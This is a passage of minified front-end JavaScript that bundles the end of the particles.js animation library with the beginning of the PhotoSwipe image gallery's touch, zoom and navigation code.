Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable||1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout((function(){i.tmp.repulse_clicking=!1}),1e3*i.interactivity.modes.repulse.duration)}}))},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var t=e*i.particles.number.value/i.particles.number.density.value_area,n=i.particles.array.length-t;n<0?i.fn.modes.pushParticles(Math.abs(n)):i.fn.modes.removeParticles(n)}},i.fn.vendors.checkOverlap=function(e,t){for(var n=0;n<i.particles.array.length;n++){var r=i.particles.array[n],s=e.x-r.x,o=e.y-r.y;Math.sqrt(s*s+o*o)<=e.radius+r.radius&&(e.x=t?t.x:Math.random()*i.canvas.w,e.y=t?t.y:Math.random()*i.canvas.h,i.fn.vendors.checkOverlap(e))}},i.fn.vendors.createSvgImg=function(e){var t=i.tmp.source_svg.replace(/#([0-9A-F]{3,6})/gi,(function(t,n,i,r){if(e.color.rgb)var s="rgba("+e.color.rgb.r+","+e.color.rgb.g+","+e.color.rgb.b+","+e.opacity+")";else s="hsla("+e.color.hsl.h+","+e.color.hsl.s+"%,"+e.color.hsl.l+"%,"+e.opacity+")";return s})),n=new Blob([t],{type:"image/svg+xml;charset=utf-8"}),r=window.URL||window.webkitURL||window,s=r.createObjectURL(n),o=new Image;o.addEventListener("load",(function(){e.img.obj=o,e.img.loaded=!0,r.revokeObjectURL(s),i.tmp.count_svg++})),o.src=s},i.fn.vendors.destroypJS=function(){cancelAnimationFrame(i.fn.drawAnimFrame),n.remove(),pJSDom=null},i.fn.vendors.drawShape=function(e,t,n,i,r,s){var o=r*s,a=r/s,l=180*(a-2)/a,c=Math.PI-Math.PI*l/180;e.save(),e.beginPath(),e.translate(t,n),e.moveTo(0,0);for(var u=0;u<o;u++)e.lineTo(i,0),e.translate(i,0),e.rotate(c);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var t=new XMLHttpRequest;t.open("GET",i.particles.shape.image.src),t.onreadystatechange=function(e){4==t.readyState&&(200==t.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},t.send()}else{var n=new Image;n.addEventListener("load",(function(){i.tmp.img_obj=n,i.fn.vendors.checkBeforeDraw()})),n.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):null!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&null==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};function hexToRgb(e){e=e.replace(/^#?([a-f\d])([a-f\d])([a-f\d])$/i,(function(e,t,n,i){return t+t+n+n+i+i}));var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,t,n){return Math.min(Math.max(e,t),n)}function isInArray(e,t){return t.indexOf(e)>-1}Object.deepExtend=function(e,t){for(var n in t)t[n]&&t[n].constructor&&t[n].constructor===Object?(e[n]=e[n]||{},arguments.callee(e[n],t[n])):e[n]=t[n];return e},window.requestAnimFrame=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)},window.cancelRequestAnimFrame=window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout,window.pJSDom=[],window.particlesJS=function(e,t){"string"!=typeof e&&(t=e,e="particles-js"),e||(e="particles-js");var n=document.getElementById(e),i="particles-js-canvas-el",r=n.getElementsByClassName(i);if(r.length)for(;r.length>0;)n.removeChild(r[0]);var s=document.createElement("canvas");s.className=i,s.style.width="100%",s.style.height="100%",null!=document.getElementById(e).appendChild(s)&&pJSDom.push(new pJS(e,t))},window.particlesJS.load=function(e,t,n){var i=new XMLHttpRequest;i.open("GET",t),i.onreadystatechange=function(t){if(4==i.readyState)if(200==i.status){var r=JSON.parse(t.currentTarget.response);window.particlesJS(e,r),n&&n()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()},function(e,t){"function"==typeof define&&define.amd?define(t):"object"==typeof exports?module.exports=t():e.PhotoSwipe=t()}(this,(function(){"use strict";return function(e,t,n,i){var r={features:null,bind:function(e,t,n,i){var r=(i?"remove":"add")+"EventListener";t=t.split(" ");for(var s=0;s<t.length;s++)t[s]&&e[r](t[s],n,!1)},isArray:function(e){return e instanceof Array},createEl:function(e,t){var n=document.createElement(t||"div");return e&&(n.className=e),n},getScrollY:function(){var e=window.pageYOffset;return void 0!==e?e:document.documentElement.scrollTop},unbind:function(e,t,n){r.bind(e,t,n,!0)},removeClass:function(e,t){var n=new RegExp("(\\s|^)"+t+"(\\s|$)");e.className=e.className.replace(n," ").replace(/^\s\s*/,"").replace(/\s\s*$/,"")},addClass:function(e,t){r.hasClass(e,t)||(e.className+=(e.className?" ":"")+t)},hasClass:function(e,t){return e.className&&new RegExp("(^|\\s)"+t+"(\\s|$)").test(e.className)},getChildByClass:function(e,t){for(var n=e.firstChild;n;){if(r.hasClass(n,t))return n;n=n.nextSibling}},arraySearch:function(e,t,n){for(var i=e.length;i--;)if(e[i][n]===t)return i;return-1},extend:function(e,t,n){for(var i in t)if(t.hasOwnProperty(i)){if(n&&e.hasOwnProperty(i))continue;e[i]=t[i]}},easing:{sine:{out:function(e){return Math.sin(e*(Math.PI/2))},inOut:function(e){return-(Math.cos(Math.PI*e)-1)/2}},cubic:{out:function(e){return--e*e*e+1}}},detectFeatures:function(){if(r.features)return r.features;var e=r.createEl().style,t="",n={};if(n.oldIE=document.all&&!document.addEventListener,n.touch="ontouchstart"in window,window.requestAnimationFrame&&(n.raf=window.requestAnimationFrame,n.caf=window.cancelAnimationFrame),n.pointerEvent=!!window.PointerEvent||navigator.msPointerEnabled,!n.pointerEvent){var i=navigator.userAgent;if(/iP(hone|od)/.test(navigator.platform)){var s=navigator.appVersion.match(/OS (\d+)_(\d+)_?(\d+)?/);s&&s.length>0&&(s=parseInt(s[1],10))>=1&&s<8&&(n.isOldIOSPhone=!0)}var o=i.match(/Android\s([0-9\.]*)/),a=o?o[1]:0;(a=parseFloat(a))>=1&&(a<4.4&&(n.isOldAndroid=!0),n.androidVersion=a),n.isMobileOpera=/opera mini|opera mobi/i.test(i)}for(var l,c,u=["transform","perspective","animationName"],d=["","webkit","Moz","ms","O"],p=0;p<4;p++){t=d[p];for(var h=0;h<3;h++)l=u[h],c=t+(t?l.charAt(0).toUpperCase()+l.slice(1):l),!n[l]&&c in e&&(n[l]=c);t&&!n.raf&&(t=t.toLowerCase(),n.raf=window[t+"RequestAnimationFrame"],n.raf&&(n.caf=window[t+"CancelAnimationFrame"]||window[t+"CancelRequestAnimationFrame"]))}if(!n.raf){var f=0;n.raf=function(e){var t=(new Date).getTime(),n=Math.max(0,16-(t-f)),i=window.setTimeout((function(){e(t+n)}),n);return f=t+n,i},n.caf=function(e){clearTimeout(e)}}return n.svg=!!document.createElementNS&&!!document.createElementNS("http://www.w3.org/2000/svg","svg").createSVGRect,r.features=n,n}};r.detectFeatures(),r.features.oldIE&&(r.bind=function(e,t,n,i){t=t.split(" ");for(var r,s=(i?"detach":"attach")+"Event",o=function(){n.handleEvent.call(n)},a=0;a<t.length;a++)if(r=t[a])if("object"==typeof n&&n.handleEvent){if(i){if(!n["oldIE"+r])return!1}else n["oldIE"+r]=o;e[s]("on"+r,n["oldIE"+r])}else e[s]("on"+r,n)});var s=this,o={allowPanToNext:!0,spacing:.12,bgOpacity:1,mouseUsed:!1,loop:!0,pinchToClose:!0,closeOnScroll:!0,closeOnVerticalDrag:!0,verticalDragRange:.75,hideAnimationDuration:333,showAnimationDuration:333,showHideOpacity:!1,focus:!0,escKey:!0,arrowKeys:!0,mainScrollEndFriction:.35,panEndFriction:.35,isClickableElement:function(e){return"A"===e.tagName},getDoubleTapZoom:function(e,t){return e||t.initialZoomLevel<.7?1:1.33},maxSpreadZoom:1.33,modal:!0,scaleMode:"fit"};r.extend(o,i);var a,l,c,u,d,p,h,f,m,g,v,y,b,w,_,x,T,E,S,C,M,k,A,O,P,L,D,I,z,N,R,$,F,j,H,q,B,W,X,Y,G,V,U,Z,K,Q,J,ee,te,ne,ie,re,se,oe,ae,le,ce={x:0,y:0},ue={x:0,y:0},de={x:0,y:0},pe={},he=0,fe={},me={x:0,y:0},ge=0,ve=!0,ye=[],be={},we=!1,_e=function(e,t){r.extend(s,t.publicMethods),ye.push(e)},xe=function(e){var t=Ht();return e>t-1?e-t:e<0?t+e:e},Te={},Ee=function(e,t){return Te[e]||(Te[e]=[]),Te[e].push(t)},Se=function(e){var t=Te[e];if(t){var n=Array.prototype.slice.call(arguments);n.shift();for(var i=0;i<t.length;i++)t[i].apply(s,n)}},Ce=function(){return(new Date).getTime()},Me=function(e){oe=e,s.bg.style.opacity=e*o.bgOpacity},ke=function(e,t,n,i,r){(!we||r&&r!==s.currItem)&&(i/=r?r.fitRatio:s.currItem.fitRatio),e[k]=y+t+"px, "+n+"px"+b+" scale("+i+")"},Ae=function(e){te&&(e&&(g>s.currItem.fitRatio?we||(Zt(s.currItem,!1,!0),we=!0):we&&(Zt(s.currItem),we=!1)),ke(te,de.x,de.y,g))},Oe=function(e){e.container&&ke(e.container.style,e.initialPosition.x,e.initialPosition.y,e.initialZoomLevel,e)},Pe=function(e,t){t[k]=y+e+"px, 0px"+b},Le=function(e,t){if(!o.loop&&t){var n=u+(me.x*he-e)/me.x,i=Math.round(e-ut.x);(n<0&&i>0||n>=Ht()-1&&i<0)&&(e=ut.x+i*o.mainScrollEndFriction)}ut.x=e,Pe(e,d)},De=function(e,t){var n=dt[e]-fe[e];return ue[e]+ce[e]+n-n*(t/v)},Ie=function(e,t){e.x=t.x,e.y=t.y,t.id&&(e.id=t.id)},ze=function(e){e.x=Math.round(e.x),e.y=Math.round(e.y)},Ne=null,Re=function(){Ne&&(r.unbind(document,"mousemove",Re),r.addClass(e,"pswp--has_mouse"),o.mouseUsed=!0,Se("mouseUsed")),Ne=setTimeout((function(){Ne=null}),100)},$e=function(e,t){var n=Yt(s.currItem,pe,e);return t&&(ee=n),n},Fe=function(e){return e||(e=s.currItem),e.initialZoomLevel},je=function(e){return e||(e=s.currItem),e.w>0?o.maxSpreadZoom:1},He=function(e,t,n,i){return i===s.currItem.initialZoomLevel?(n[e]=s.currItem.initialPosition[e],!0):(n[e]=De(e,i),n[e]>t.min[e]?(n[e]=t.min[e],!0):n[e]<t.max[e]&&(n[e]=t.max[e],!0))},qe=function(e){var t="";o.escKey&&27===e.keyCode?t="close":o.arrowKeys&&(37===e.keyCode?t="prev":39===e.keyCode&&(t="next")),t&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey||(e.preventDefault?e.preventDefault():e.returnValue=!1,s[t]()))},Be=function(e){e&&(V||G||ne||B)&&(e.preventDefault(),e.stopPropagation())},We=function(){s.setScrollOffset(0,r.getScrollY())},Xe={},Ye=0,Ge=function(e){Xe[e]&&(Xe[e].raf&&L(Xe[e].raf),Ye--,delete Xe[e])},Ve=function(e){Xe[e]&&Ge(e),Xe[e]||(Ye++,Xe[e]={})},Ue=function(){for(var e in Xe)Xe.hasOwnProperty(e)&&Ge(e)},Ze=function(e,t,n,i,r,s,o){var a,l=Ce();Ve(e);var c=function(){if(Xe[e]){if((a=Ce()-l)>=i)return Ge(e),s(n),void(o&&o());s((n-t)*r(a/i)+t),Xe[e].raf=P(c)}};c()},Ke={shout:Se,listen:Ee,viewportSize:pe,options:o,isMainScrollAnimating:function(){return ne},getZoomLevel:function(){return g},getCurrentIndex:function(){return u},isDragging:function(){return X},isZooming:function(){return Q},setScrollOffset:function(e,t){fe.x=e,N=fe.y=t,Se("updateScrollOffset",fe)},applyZoomPan:function(e,t,n,i){de.x=t,de.y=n,g=e,Ae(i)},init:function(){if(!a&&!l){var n;s.framework=r,s.template=e,s.bg=r.getChildByClass(e,"pswp__bg"),D=e.className,a=!0,R=r.detectFeatures(),P=R.raf,L=R.caf,k=R.transform,z=R.oldIE,s.scrollWrap=r.getChildByClass(e,"pswp__scroll-wrap"),s.container=r.getChildByClass(s.scrollWrap,"pswp__container"),d=s.container.style,s.itemHolders=x=[{el:s.container.children[0],wrap:0,index:-1},{el:s.container.children[1],wrap:0,index:-1},{el:s.container.children[2],wrap:0,index:-1}],x[0].el.style.display=x[2].el.style.display="none",function(){if(k){var t=R.perspective&&!O;return y="translate"+(t?"3d(":"("),void(b=R.perspective?", 0px)":")")}k="left",r.addClass(e,"pswp--ie"),Pe=function(e,t){t.left=e+"px"},Oe=function(e){var t=e.fitRatio>1?1:e.fitRatio,n=e.container.style,i=t*e.w,r=t*e.h;n.width=i+"px",n.height=r+"px",n.left=e.initialPosition.x+"px",n.top=e.initialPosition.y+"px"},Ae=function(){if(te){var e=te,t=s.currItem,n=t.fitRatio>1?1:t.fitRatio,i=n*t.w,r=n*t.h;e.width=i+"px",e.height=r+"px",e.left=de.x+"px",e.top=de.y+"px"}}}(),m={resize:s.updateSize,orientationchange:function(){clearTimeout($),$=setTimeout((function(){pe.x!==s.scrollWrap.clientWidth&&s.updateSize()}),500)},scroll:We,keydown:qe,click:Be};var i=R.isOldIOSPhone||R.isOldAndroid||R.isMobileOpera;for(R.animationName&&R.transform&&!i||(o.showAnimationDuration=o.hideAnimationDuration=0),n=0;n<ye.length;n++)s["init"+ye[n]]();t&&(s.ui=new t(s,r)).init(),Se("firstUpdate"),u=u||o.index||0,(isNaN(u)||u<0||u>=Ht())&&(u=0),s.currItem=jt(u),(R.isOldIOSPhone||R.isOldAndroid)&&(ve=!1),e.setAttribute("aria-hidden","false"),o.modal&&(ve?e.style.position="fixed":(e.style.position="absolute",e.style.top=r.getScrollY()+"px")),void 0===N&&(Se("initialLayout"),N=I=r.getScrollY());var c="pswp--open ";for(o.mainClass&&(c+=o.mainClass+" "),o.showHideOpacity&&(c+="pswp--animate_opacity "),c+=O?"pswp--touch":"pswp--notouch",c+=R.animationName?" pswp--css_animation":"",c+=R.svg?" pswp--svg":"",r.addClass(e,c),s.updateSize(),p=-1,ge=null,n=0;n<3;n++)Pe((n+p)*me.x,x[n].el.style);z||r.bind(s.scrollWrap,f,s),Ee("initialZoomInEnd",(function(){s.setContent(x[0],u-1),s.setContent(x[2],u+1),x[0].el.style.display=x[2].el.style.display="block",o.focus&&e.focus(),r.bind(document,"keydown",s),R.transform&&r.bind(s.scrollWrap,"click",s),o.mouseUsed||r.bind(document,"mousemove",Re),r.bind(window,"resize scroll orientationchange",s),Se("bindEvents")})),s.setContent(x[1],u),s.updateCurrItem(),Se("afterInit"),ve||(w=setInterval((function(){Ye||X||Q||g!==s.currItem.initialZoomLevel||s.updateSize()}),1e3)),r.addClass(e,"pswp--visible")}},close:function(){a&&(a=!1,l=!0,Se("close"),r.unbind(window,"resize scroll orientationchange",s),r.unbind(window,"scroll",m.scroll),r.unbind(document,"keydown",s),r.unbind(document,"mousemove",Re),R.transform&&r.unbind(s.scrollWrap,"click",s),X&&r.unbind(window,h,s),clearTimeout($),Se("unbindEvents"),qt(s.currItem,null,!0,s.destroy))},destroy:function(){Se("destroy"),Nt&&clearTimeout(Nt),e.setAttribute("aria-hidden","true"),e.className=D,w&&clearInterval(w),r.unbind(s.scrollWrap,f,s),r.unbind(window,"scroll",s),ft(),Ue(),Te=null},panTo:function(e,t,n){n||(e>ee.min.x?e=ee.min.x:e<ee.max.x&&(e=ee.max.x),t>ee.min.y?t=ee.min.y:t<ee.max.y&&(t=ee.max.y)),de.x=e,de.y=t,Ae()},handleEvent:function(e){e=e||window.event,m[e.type]&&m[e.type](e)},goTo:function(e){var t=(e=xe(e))-u;ge=t,u=e,s.currItem=jt(u),he-=t,Le(me.x*he),Ue(),ne=!1,s.updateCurrItem()},next:function(){s.goTo(u+1)},prev:function(){s.goTo(u-1)},updateCurrZoomItem:function(e){if(e&&Se("beforeChange",0),x[1].el.children.length){var t=x[1].el.children[0];te=r.hasClass(t,"pswp__zoom-wrap")?t.style:null}else te=null;ee=s.currItem.bounds,v=g=s.currItem.initialZoomLevel,de.x=ee.center.x,de.y=ee.center.y,e&&Se("afterChange")},invalidateCurrItems:function(){_=!0;for(var e=0;e<3;e++)x[e].item&&(x[e].item.needsUpdate=!0)},updateCurrItem:function(e){if(0!==ge){var t,n=Math.abs(ge);if(!(e&&n<2)){s.currItem=jt(u),we=!1,Se("beforeChange",ge),n>=3&&(p+=ge+(ge>0?-3:3),n=3);for(var i=0;i<n;i++)ge>0?(t=x.shift(),x[2]=t,p++,Pe((p+2)*me.x,t.el.style),s.setContent(t,u-n+i+1+1)):(t=x.pop(),x.unshift(t),p--,Pe(p*me.x,t.el.style),s.setContent(t,u+n-i-1-1));if(te&&1===Math.abs(ge)){var r=jt(T);r.initialZoomLevel!==g&&(Yt(r,pe),Zt(r),Oe(r))}ge=0,s.updateCurrZoomItem(),T=u,Se("afterChange")}}},updateSize:function(t){if(!ve&&o.modal){var n=r.getScrollY();if(N!==n&&(e.style.top=n+"px",N=n),!t&&be.x===window.innerWidth&&be.y===window.innerHeight)return;be.x=window.innerWidth,be.y=window.innerHeight,e.style.height=be.y+"px"}if(pe.x=s.scrollWrap.clientWidth,pe.y=s.scrollWrap.clientHeight,We(),me.x=pe.x+Math.round(pe.x*o.spacing),me.y=pe.y,Le(me.x*he),Se("beforeResize"),void 0!==p){for(var i,a,l,c=0;c<3;c++)i=x[c],Pe((c+p)*me.x,i.el.style),l=u+c-1,o.loop&&Ht()>2&&(l=xe(l)),(a=jt(l))&&(_||a.needsUpdate||!a.bounds)?(s.cleanSlide(a),s.setContent(i,l),1===c&&(s.currItem=a,s.updateCurrZoomItem(!0)),a.needsUpdate=!1):-1===i.index&&l>=0&&s.setContent(i,l),a&&a.container&&(Yt(a,pe),Zt(a),Oe(a));_=!1}v=g=s.currItem.initialZoomLevel,(ee=s.currItem.bounds)&&(de.x=ee.center.x,de.y=ee.center.y,Ae(!0)),Se("resize")},zoomTo:function(e,t,n,i,s){t&&(v=g,dt.x=Math.abs(t.x)-de.x,dt.y=Math.abs(t.y)-de.y,Ie(ue,de));var o=$e(e,!1),a={};He("x",o,a,e),He("y",o,a,e);var l=g,c=de.x,u=de.y;ze(a);var d=function(t){1===t?(g=e,de.x=a.x,de.y=a.y):(g=(e-l)*t+l,de.x=(a.x-c)*t+c,de.y=(a.y-u)*t+u),s&&s(t),Ae(1===t)};n?Ze("customZoomTo",0,1,n,i||r.easing.sine.inOut,d):d(1)}},Qe={},Je={},et={},tt={},nt={},it=[],rt={},st=[],ot={},at=0,lt={x:0,y:0},ct=0,ut={x:0,y:0},dt={x:0,y:0},pt={x:0,y:0},ht=function(e,t){return ot.x=Math.abs(e.x-t.x),ot.y=Math.abs(e.y-t.y),Math.sqrt(ot.x*ot.x+ot.y*ot.y)},ft=function(){U&&(L(U),U=null)},mt=function(){X&&(U=P(mt),At())},gt=function(e,t){return!(!e||e===document)&&!(e.getAttribute("class")&&e.getAttribute("class").indexOf("pswp__scroll-wrap")>-1)&&(t(e)?e:gt(e.parentNode,t))},vt={},yt=function(e,t){return vt.prevent=!gt(e.target,o.isClickableElement),Se("preventDragEvent",e,t,vt),vt.prevent},bt=function(e,t){return t.x=e.pageX,t.y=e.pageY,t.id=e.identifier,t},wt=function(e,t,n){n.x=.5*(e.x+t.x),n.y=.5*(e.y+t.y)},_t=function(){var e=de.y-s.currItem.initialPosition.y;return 1-Math.abs(e/(pe.y/2))},xt={},Tt={},Et=[],St=function(e){for(;Et.length>0;)Et.pop();return A?(le=0,it.forEach((function(e){0===le?Et[0]=e:1===le&&(Et[1]=e),le++}))):e.type.indexOf("touch")>-1?e.touches&&e.touches.length>0&&(Et[0]=bt(e.touches[0],xt),e.touches.length>1&&(Et[1]=bt(e.touches[1],Tt))):(xt.x=e.pageX,xt.y=e.pageY,xt.id="",Et[0]=xt),Et},Ct=function(e,t){var n,i,r,a,l=de[e]+t[e],c=t[e]>0,u=ut.x+t.x,d=ut.x-rt.x;if(n=l>ee.min[e]||l<ee.max[e]?o.panEndFriction:1,l=de[e]+t[e]*n,(o.allowPanToNext||g===s.currItem.initialZoomLevel)&&(te?"h"!==ie||"x"!==e||G||(c?(l>ee.min[e]&&(n=o.panEndFriction,ee.min[e],i=ee.min[e]-ue[e]),(i<=0||d<0)&&Ht()>1?(a=u,d<0&&u>rt.x&&(a=rt.x)):ee.min.x!==ee.max.x&&(r=l)):(l<ee.max[e]&&(n=o.panEndFriction,ee.max[e],i=ue[e]-ee.max[e]),(i<=0||d>0)&&Ht()>1?(a=u,d>0&&u<rt.x&&(a=rt.x)):ee.min.x!==ee.max.x&&(r=l))):a=u,"x"===e))return void 0!==a&&(Le(a,!0),Z=a!==rt.x),ee.min.x!==ee.max.x&&(void 0!==r?de.x=r:Z||(de.x+=t.x*n)),void 0!==a;ne||Z||g>s.currItem.fitRatio&&(de[e]+=t[e]*n)},Mt=function(e){if(!("mousedown"===e.type&&e.button>0))if(Ft)e.preventDefault();else if(!W||"mousedown"!==e.type){if(yt(e,!0)&&e.preventDefault(),Se("pointerDown"),A){var t=r.arraySearch(it,e.pointerId,"id");t<0&&(t=it.length),it[t]={x:e.pageX,y:e.pageY,id:e.pointerId}}var n=St(e),i=n.length;K=null,Ue(),X&&1!==i||(X=re=!0,r.bind(window,h,s),q=ae=se=B=Z=V=Y=G=!1,ie=null,Se("firstTouchStart",n),Ie(ue,de),ce.x=ce.y=0,Ie(tt,n[0]),Ie(nt,tt),rt.x=me.x*he,st=[{x:tt.x,y:tt.y}],j=F=Ce(),$e(g,!0),ft(),mt()),!Q&&i>1&&!ne&&!Z&&(v=g,G=!1,Q=Y=!0,ce.y=ce.x=0,Ie(ue,de),Ie(Qe,n[0]),Ie(Je,n[1]),wt(Qe,Je,pt),dt.x=Math.abs(pt.x)-de.x,dt.y=Math.abs(pt.y)-de.y,J=ht(Qe,Je))}},kt=function(e){if(e.preventDefault(),A){var t=r.arraySearch(it,e.pointerId,"id");if(t>-1){var n=it[t];n.x=e.pageX,n.y=e.pageY}}if(X){var i=St(e);if(ie||V||Q)K=i;else if(ut.x!==me.x*he)ie="h";else{var s=Math.abs(i[0].x-tt.x)-Math.abs(i[0].y-tt.y);Math.abs(s)>=10&&(ie=s>0?"h":"v",K=i)}}},At=function(){if(K){var e=K.length;if(0!==e)if(Ie(Qe,K[0]),et.x=Qe.x-tt.x,et.y=Qe.y-tt.y,Q&&e>1){if(tt.x=Qe.x,tt.y=Qe.y,!et.x&&!et.y&&function(e,t){return e.x===t.x&&e.y===t.y}(K[1],Je))return;Ie(Je,K[1]),G||(G=!0,Se("zoomGestureStarted"));var t=ht(Qe,Je),n=It(t);n>s.currItem.initialZoomLevel+s.currItem.initialZoomLevel/15&&(ae=!0);var i=1,r=Fe(),a=je();if(n<r)if(o.pinchToClose&&!ae&&v<=s.currItem.initialZoomLevel){var l=1-(r-n)/(r/1.2);Me(l),Se("onPinchClose",l),se=!0}else(i=(r-n)/r)>1&&(i=1),n=r-i*(r/3);else n>a&&((i=(n-a)/(6*r))>1&&(i=1),n=a+i*r);i<0&&(i=0),wt(Qe,Je,lt),ce.x+=lt.x-pt.x,ce.y+=lt.y-pt.y,Ie(pt,lt),de.x=De("x",n),de.y=De("y",n),q=n>g,g=n,Ae()}else{if(!ie)return;if(re&&(re=!1,Math.abs(et.x)>=10&&(et.x-=K[0].x-nt.x),Math.abs(et.y)>=10&&(et.y-=K[0].y-nt.y)),tt.x=Qe.x,tt.y=Qe.y,0===et.x&&0===et.y)return;if("v"===ie&&o.closeOnVerticalDrag&&"fit"===o.scaleMode&&g===s.currItem.initialZoomLevel){ce.y+=et.y,de.y+=et.y;var c=_t();return B=!0,Se("onVerticalDrag",c),Me(c),void Ae()}!function(e,t,n){if(e-j>50){var i=st.length>2?st.shift():{};i.x=t,i.y=n,st.push(i),j=e}}(Ce(),Qe.x,Qe.y),V=!0,ee=s.currItem.bounds,Ct("x",et)||(Ct("y",et),ze(de),Ae())}}},Ot=function(e){if(R.isOldAndroid){if(W&&"mouseup"===e.type)return;e.type.indexOf("touch")>-1&&(clearTimeout(W),W=setTimeout((function(){W=0}),600))}var t;if(Se("pointerUp"),yt(e,!1)&&e.preventDefault(),A){var n=r.arraySearch(it,e.pointerId,"id");n>-1&&(t=it.splice(n,1)[0],navigator.msPointerEnabled?(t.type={4:"mouse",2:"touch",3:"pen"}[e.pointerType],t.type||(t.type=e.pointerType||"mouse")):t.type=e.pointerType||"mouse")}var i,a=St(e),l=a.length;if("mouseup"===e.type&&(l=0),2===l)return K=null,!0;1===l&&Ie(nt,a[0]),0!==l||ie||ne||(t||("mouseup"===e.type?t={x:e.pageX,y:e.pageY,type:"mouse"}:e.changedTouches&&e.changedTouches[0]&&(t={x:e.changedTouches[0].pageX,y:e.changedTouches[0].pageY,type:"touch"})),Se("touchRelease",e,t));var c=-1;if(0===l&&(X=!1,r.unbind(window,h,s),ft(),Q?c=0:-1!==ct&&(c=Ce()-ct)),ct=1===l?Ce():-1,i=-1!==c&&c<150?"zoom":"swipe",Q&&l<2&&(Q=!1,1===l&&(i="zoomPointerUp"),Se("zoomGestureEnded")),K=null,V||G||ne||B)if(Ue(),H||(H=Pt()),H.calculateSwipeSpeed("x"),B)if(_t()<o.verticalDragRange)s.close();else{var u=de.y,d=oe;Ze("verticalDrag",0,1,300,r.easing.cubic.out,(function(e){de.y=(s.currItem.initialPosition.y-u)*e+u,Me((1-d)*e+d),Ae()})),Se("onVerticalDrag",1)}else{if((Z||ne)&&0===l){if(Dt(i,H))return;i="zoomPointerUp"}ne||("swipe"===i?!Z&&g>s.currItem.fitRatio&&Lt(H):zt())}},Pt=function(){var e,t,n={lastFlickOffset:{},lastFlickDist:{},lastFlickSpeed:{},slowDownRatio:{},slowDownRatioReverse:{},speedDecelerationRatio:{},speedDecelerationRatioAbs:{},distanceOffset:{},backAnimDestination:{},backAnimStarted:{},calculateSwipeSpeed:function(i){st.length>1?(e=Ce()-j+50,t=st[st.length-2][i]):(e=Ce()-F,t=nt[i]),n.lastFlickOffset[i]=tt[i]-t,n.lastFlickDist[i]=Math.abs(n.lastFlickOffset[i]),n.lastFlickDist[i]>20?n.lastFlickSpeed[i]=n.lastFlickOffset[i]/e:n.lastFlickSpeed[i]=0,Math.abs(n.lastFlickSpeed[i])<.1&&(n.lastFlickSpeed[i]=0),n.slowDownRatio[i]=.95,n.slowDownRatioReverse[i]=1-n.slowDownRatio[i],n.speedDecelerationRatio[i]=1},calculateOverBoundsAnimOffset:function(e,t){n.backAnimStarted[e]||(de[e]>ee.min[e]?n.backAnimDestination[e]=ee.min[e]:de[e]<ee.max[e]&&(n.backAnimDestination[e]=ee.max[e]),void 